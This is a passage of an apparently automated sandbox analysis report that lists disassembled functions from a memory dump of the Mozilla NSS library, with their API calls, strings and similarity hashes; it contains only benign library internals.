PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CB87FCA
SEC_QuickDERDecodeItem_Util.NSS3(00000000,-00000004,6CCA915C,00000014), ref: 6CB87FFE

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_Arena_DecodeQuickValue$AllocateCopyCriticalEnterErrorFreeInitLockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1489184013-0
Opcode ID: 78247bb09cdec4e46938416cdd9e1c5bdb945e8fa23bb40b8883a53ce5d81986
Instruction ID: f8866e2ed09d548d4ab6cbfbf53f46ccc20d6aca7390626eed35224e1337b588
Opcode Fuzzy Hash: 78247bb09cdec4e46938416cdd9e1c5bdb945e8fa23bb40b8883a53ce5d81986
Instruction Fuzzy Hash: 3C115771E012C416EA109B269C44FBF76ACDF4468CF04062DFC59D2B41F760A508C2A2

Function 6CB8BE50 Relevance: 9.1, APIs: 6, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,6CC0DC29,?), ref: 6CB8BE64

Part of subcall function 6CBE0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CB887ED,00000800,6CB7EF74,00000000), ref: 6CBE1000
Part of subcall function 6CBE0FF0: PR_NewLock.NSS3(?,00000800,6CB7EF74,00000000), ref: 6CBE1016
Part of subcall function 6CBE0FF0: PL_InitArenaPool.NSS3(00000000,security,6CB887ED,00000008,?,00000800,6CB7EF74,00000000), ref: 6CBE102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C,?,6CC0DC29,?), ref: 6CB8BE78

Part of subcall function 6CBE10C0: TlsGetValue.KERNEL32(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE10F3
Part of subcall function 6CBE10C0: EnterCriticalSection.KERNEL32(?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE110C
Part of subcall function 6CBE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE1141
Part of subcall function 6CBE10C0: PR_Unlock.NSS3(?,?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE1182
Part of subcall function 6CBE10C0: TlsGetValue.KERNEL32(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE119C

PORT_ArenaAlloc_Util.NSS3(00000000,?,?,?,?,6CC0DC29,?), ref: 6CB8BE96

Part of subcall function 6CBE10C0: PL_ArenaAllocate.NSS3(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE116E

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,?,6CC0DC29,?), ref: 6CB8BEBB

Part of subcall function 6CBDFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CBD8D2D,?,00000000,?), ref: 6CBDFB85
Part of subcall function 6CBDFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CBDFBB1

PR_SetError.NSS3(FFFFE013,00000000,?,6CC0DC29,?), ref: 6CB8BEDF
PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,6CC0DC29,?), ref: 6CB8BEF3

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_Value$CopyCriticalEnterErrorFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 3111646008-0
Opcode ID: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction ID: fac8207b0d95e5654d13919099ccc51f74c82f12b5878e8d160621b0888a58bf
Opcode Fuzzy Hash: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction Fuzzy Hash: 9311B771E012455FEB008B759D41FAE3BA8EF45299F180428ED09EB781EB31D909C7B1

Function 6CC13C80 Relevance: 9.1, APIs: 6, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 6CC15B40: PR_GetIdentitiesLayer.NSS3 ref: 6CC15B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC13D3F

Part of subcall function 6CB8BA90: PORT_NewArena_Util.NSS3(00000800,6CC13CAF,?), ref: 6CB8BABF
Part of subcall function 6CB8BA90: PORT_ArenaAlloc_Util.NSS3(00000000,00000010,?,6CC13CAF,?), ref: 6CB8BAD5
Part of subcall function 6CB8BA90: PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,6CC13CAF,?), ref: 6CB8BB08
Part of subcall function 6CB8BA90: memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6CC13CAF,?), ref: 6CB8BB1A
Part of subcall function 6CB8BA90: SECITEM_CopyItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,6CC13CAF,?), ref: 6CB8BB3B

PR_EnterMonitor.NSS3(?), ref: 6CC13CCB

Part of subcall function 6CC49090: TlsGetValue.KERNEL32 ref: 6CC490AB
Part of subcall function 6CC49090: TlsGetValue.KERNEL32 ref: 6CC490C9
Part of subcall function 6CC49090: EnterCriticalSection.KERNEL32 ref: 6CC490E5
Part of subcall function 6CC49090: TlsGetValue.KERNEL32 ref: 6CC49116
Part of subcall function 6CC49090: LeaveCriticalSection.KERNEL32 ref: 6CC4913F

PR_EnterMonitor.NSS3(?), ref: 6CC13CE2
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CC13CF8
PR_ExitMonitor.NSS3(?), ref: 6CC13D15
PR_ExitMonitor.NSS3(?), ref: 6CC13D2E

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Util$Monitor$EnterValue$Alloc_ArenaArena_CriticalExitSection$CopyErrorFreeIdentitiesItem_LayerLeavememset
String ID:
API String ID: 4030862364-0
Opcode ID: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction ID: 36bb6b9a776dd1ae243ad01866e188a33e1d4ff996dfc90f3b291d76b7e17dec
Opcode Fuzzy Hash: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction Fuzzy Hash: 7B1108B5A246006FE7206A66EC4179BB6E9AB1120CF548534E41A8BF20F632E919D652

Function 6CBDFDF0 Relevance: 9.1, APIs: 6, Instructions: 60memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6CBDFE08

Part of subcall function 6CBE10C0: TlsGetValue.KERNEL32(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE10F3
Part of subcall function 6CBE10C0: EnterCriticalSection.KERNEL32(?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE110C
Part of subcall function 6CBE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE1141
Part of subcall function 6CBE10C0: PR_Unlock.NSS3(?,?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE1182
Part of subcall function 6CBE10C0: TlsGetValue.KERNEL32(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE119C

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6CBDFE1D

Part of subcall function 6CBE10C0: PL_ArenaAllocate.NSS3(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE116E

PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6CBDFE29
PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6CBDFE3D
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6CBDFE62
free.MOZGLUE(00000000,?,?,?,?), ref: 6CBDFE6F

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil$AllocateValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 660648399-0
Opcode ID: 62e96a39fc758a50b88349a526494aebc05baad70c9c1e27fd684620a0d7d240
Instruction ID: 99ff291e0233d22e7fc5397a58ee921cb21fc0697d0c7a29d925081504d9497d
Opcode Fuzzy Hash: 62e96a39fc758a50b88349a526494aebc05baad70c9c1e27fd684620a0d7d240
Instruction Fuzzy Hash: E3110CB6A042866BEF004F95EC40A5F7398EF58699F258034E91C87B12E731F914C792

Function 6CC8FD90 Relevance: 9.1, APIs: 6, Instructions: 51COMMON

Download Yara Rule

APIs

PR_Lock.NSS3 ref: 6CC8FD9E

Part of subcall function 6CC49BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CB71A48), ref: 6CC49BB3
Part of subcall function 6CC49BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CB71A48), ref: 6CC49BC8

PR_WaitCondVar.NSS3(000000FF), ref: 6CC8FDB9

Part of subcall function 6CB6A900: TlsGetValue.KERNEL32(00000000,?,6CCE14E4,?,6CB04DD9), ref: 6CB6A90F
Part of subcall function 6CB6A900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6CB6A94F

PR_Unlock.NSS3 ref: 6CC8FDD4
PR_Lock.NSS3 ref: 6CC8FDF2
PR_NotifyAllCondVar.NSS3 ref: 6CC8FE0D
PR_Unlock.NSS3 ref: 6CC8FE23

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: CondLockUnlockValue$CriticalEnterNotifySectionWait
String ID:
API String ID: 3365241057-0
Opcode ID: 14ceb89715c8cf17f0ca76fa9b087f2e4f44ae28a8b4b8e4949e277b2bfa2034
Instruction ID: b0c91234dbb65c9cfbcbd21efdc7ac1180f709b4ded797c5a12faf61f590313c
Opcode Fuzzy Hash: 14ceb89715c8cf17f0ca76fa9b087f2e4f44ae28a8b4b8e4949e277b2bfa2034
Instruction Fuzzy Hash: E001A1B6A006509FDF054F1AFC00C467A31BB1726C7154375E82647BE2F722DD38CA81

Function 6CB6AE30 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CDD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CB6AFDA

Strings

unable to delete/modify collation sequence due to active statements, xrefs: 6CB6AF5C
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB6AFC4
misuse, xrefs: 6CB6AFCE
%s at line %d of [%.10s], xrefs: 6CB6AFD3

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify collation sequence due to active statements
API String ID: 632333372-924978290
Opcode ID: c7e13bc423ebc512f8e518a359d4110c8dacab274367f56d8e621ae52e626cbf
Instruction ID: 3b1ecd056848d6cb62cb957319bbc370159aded32493a64bd5b66f8d2ad6b6c0
Opcode Fuzzy Hash: c7e13bc423ebc512f8e518a359d4110c8dacab274367f56d8e621ae52e626cbf
Instruction Fuzzy Hash: 1F91C175A012A58FDF04CF5AC850AAABBF1FF49314F1944A8E865ABB91D334ED01CF61

Function 6CBCFC30 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 156stringCOMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(?,pkcs11:,00000007), ref: 6CBCFC55
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CBCFCB2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6CBCFDB7
PR_SetError.NSS3(FFFFE09A,00000000), ref: 6CBCFDDE

Part of subcall function 6CBD8800: TlsGetValue.KERNEL32(?,6CBE085A,00000000,?,6CB88369,?), ref: 6CBD8821
Part of subcall function 6CBD8800: TlsGetValue.KERNEL32(?,?,6CBE085A,00000000,?,6CB88369,?), ref: 6CBD883D
Part of subcall function 6CBD8800: EnterCriticalSection.KERNEL32(?,?,?,6CBE085A,00000000,?,6CB88369,?), ref: 6CBD8856
Part of subcall function 6CBD8800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6CBD8887
Part of subcall function 6CBD8800: PR_Unlock.NSS3(?,?,?,?,6CBE085A,00000000,?,6CB88369,?), ref: 6CBD8899

Strings

pkcs11:, xrefs: 6CBCFC4F

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: ErrorValue$CondCriticalEnterL_strncasecmpSectionUnlockWaitstrcmp
String ID: pkcs11:
API String ID: 362709927-2446828420
Opcode ID: e35961c97569e176f0c038067e76db06429977f06c4a69716722179911a2d7c9
Instruction ID: 9e12df2823b25e48f1a1a3ae1b978a7c16cfd3e357db6fe75db7246425c10b6c
Opcode Fuzzy Hash: e35961c97569e176f0c038067e76db06429977f06c4a69716722179911a2d7c9
Instruction Fuzzy Hash: BD51D1B1B002E29BEB018F68DC40B9E3775EF45359F2500A5DD04ABB51EB32E944CBA3

Function 6CB0B8B0 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 107COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010B2E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,?,?,6CC3A4E2), ref: 6CB0B948
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010B19,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?), ref: 6CB0B9BE

Strings

database corruption, xrefs: 6CB0B93C, 6CB0B9B2
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB0B932, 6CB0B9A8
%s at line %d of [%.10s], xrefs: 6CB0B941, 6CB0B9B7

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 376f0ba340a34b14865814f94a8d156fb00ebe1b63fe4f97070a1f91905a33a2
Instruction ID: 51927e990b95af80125b9a22f0494d01ccbad1b567ba2a0867314368739aebdb
Opcode Fuzzy Hash: 376f0ba340a34b14865814f94a8d156fb00ebe1b63fe4f97070a1f91905a33a2
Instruction Fuzzy Hash: BE41E131B046849FD704DF69C890FAABBA2EF45308F1584ADE9499F752E731EC81CB91

Function 6CB0BDA0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 94COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(00000000,?,?), ref: 6CB0BE02

Part of subcall function 6CC39C40: memcmp.VCRUNTIME140(?,00000000,6CB0C52B), ref: 6CC39D53

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014A8E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CB0BE9F

Strings

database corruption, xrefs: 6CB0BE93
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB0BE89
%s at line %d of [%.10s], xrefs: 6CB0BE98

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: memcmp$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1135338897-598938438
Opcode ID: 2c071b44284e6bcd4c6038175a0edbbfe52a1dff56a0893fea078ffacf76361c
Instruction ID: a6d7c8c515fcbc6f45620dda54d6f58ad6973ed252c9e5c27ac5095f3ff178db
Opcode Fuzzy Hash: 2c071b44284e6bcd4c6038175a0edbbfe52a1dff56a0893fea078ffacf76361c
Instruction Fuzzy Hash: CE314631B446E58BC700CF69C8D4AABBFB2AF45314B088958EE582BB41E770EC05C7D1

Function 6CB70DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6CB70BDE), ref: 6CB70DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6CB70BDE), ref: 6CB70DEA
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6CB70BDE), ref: 6CB70DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6CB70BDE), ref: 6CB70E32

Strings

%s incr => %d (find lib), xrefs: 6CB70E2D

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
Opcode ID: d677f599bd61c3083cbf2b571e7b91906ed7c4daeed16d7f6fb4e0c40642227b
Instruction ID: cc668c74e86e22b6fd466ffb4a13fb55adf01748128a11d715ce8acd8e7a0231
Opcode Fuzzy Hash: d677f599bd61c3083cbf2b571e7b91906ed7c4daeed16d7f6fb4e0c40642227b
Instruction Fuzzy Hash: E901B172B006549FE6209F24AC45E1773BCDB46A09B19486EED19D3A41F662FC14C7E1

Function 6CB19C60 Relevance: 7.8, APIs: 6, Instructions: 262COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CB19CF2
LeaveCriticalSection.KERNEL32(?), ref: 6CB19D45
EnterCriticalSection.KERNEL32(?), ref: 6CB19D8B
LeaveCriticalSection.KERNEL32(?), ref: 6CB19DDE

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: e0c932693a12e8d974db6680a60becd62fad7feb894bfeb564a40334812c208a
Instruction ID: 21858bdec57870d7c7ae9d620dc0f591c91189eaf3fa00b2a571cb017c37cd38
Opcode Fuzzy Hash: e0c932693a12e8d974db6680a60becd62fad7feb894bfeb564a40334812c208a
Instruction Fuzzy Hash: A3A17A31B081809BEB08EF64E88976E7776EB8B715F18012DD40687E41DB39B946DB93

Function 6CBA1E70 Relevance: 7.7, APIs: 5, Instructions: 207COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(?), ref: 6CBA1ECC

Part of subcall function 6CC49090: TlsGetValue.KERNEL32 ref: 6CC490AB
Part of subcall function 6CC49090: TlsGetValue.KERNEL32 ref: 6CC490C9
Part of subcall function 6CC49090: EnterCriticalSection.KERNEL32 ref: 6CC490E5
Part of subcall function 6CC49090: TlsGetValue.KERNEL32 ref: 6CC49116
Part of subcall function 6CC49090: LeaveCriticalSection.KERNEL32 ref: 6CC4913F

TlsGetValue.KERNEL32 ref: 6CBA1EDF
EnterCriticalSection.KERNEL32(?), ref: 6CBA1EEF
PR_ExitMonitor.NSS3(?), ref: 6CBA1F37
PR_Unlock.NSS3(?), ref: 6CBA1F44

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Value$CriticalEnterSection$Monitor$ExitLeaveUnlock
String ID:
API String ID: 3539092540-0
Opcode ID: 1ea48bd815f1fdf09940cfbed14e65161356d042da2521b0d6b4a3974ece812c
Instruction ID: 75f70437761f465440438b9927b89379127595a306a3863f6668cc362f182406
Opcode Fuzzy Hash: 1ea48bd815f1fdf09940cfbed14e65161356d042da2521b0d6b4a3974ece812c
Instruction Fuzzy Hash: 3371CE71908381DFDB00CF65D840A4AB7F5FF89358F184929E89993B10E732F95ACB92

Function 6CC2DD70 Relevance: 7.7, APIs: 5, Instructions: 179COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CC2DD8C
LeaveCriticalSection.KERNEL32(00000000), ref: 6CC2DDB4
LeaveCriticalSection.KERNEL32(00000000), ref: 6CC2DE1B
ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 6CC2DE77

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

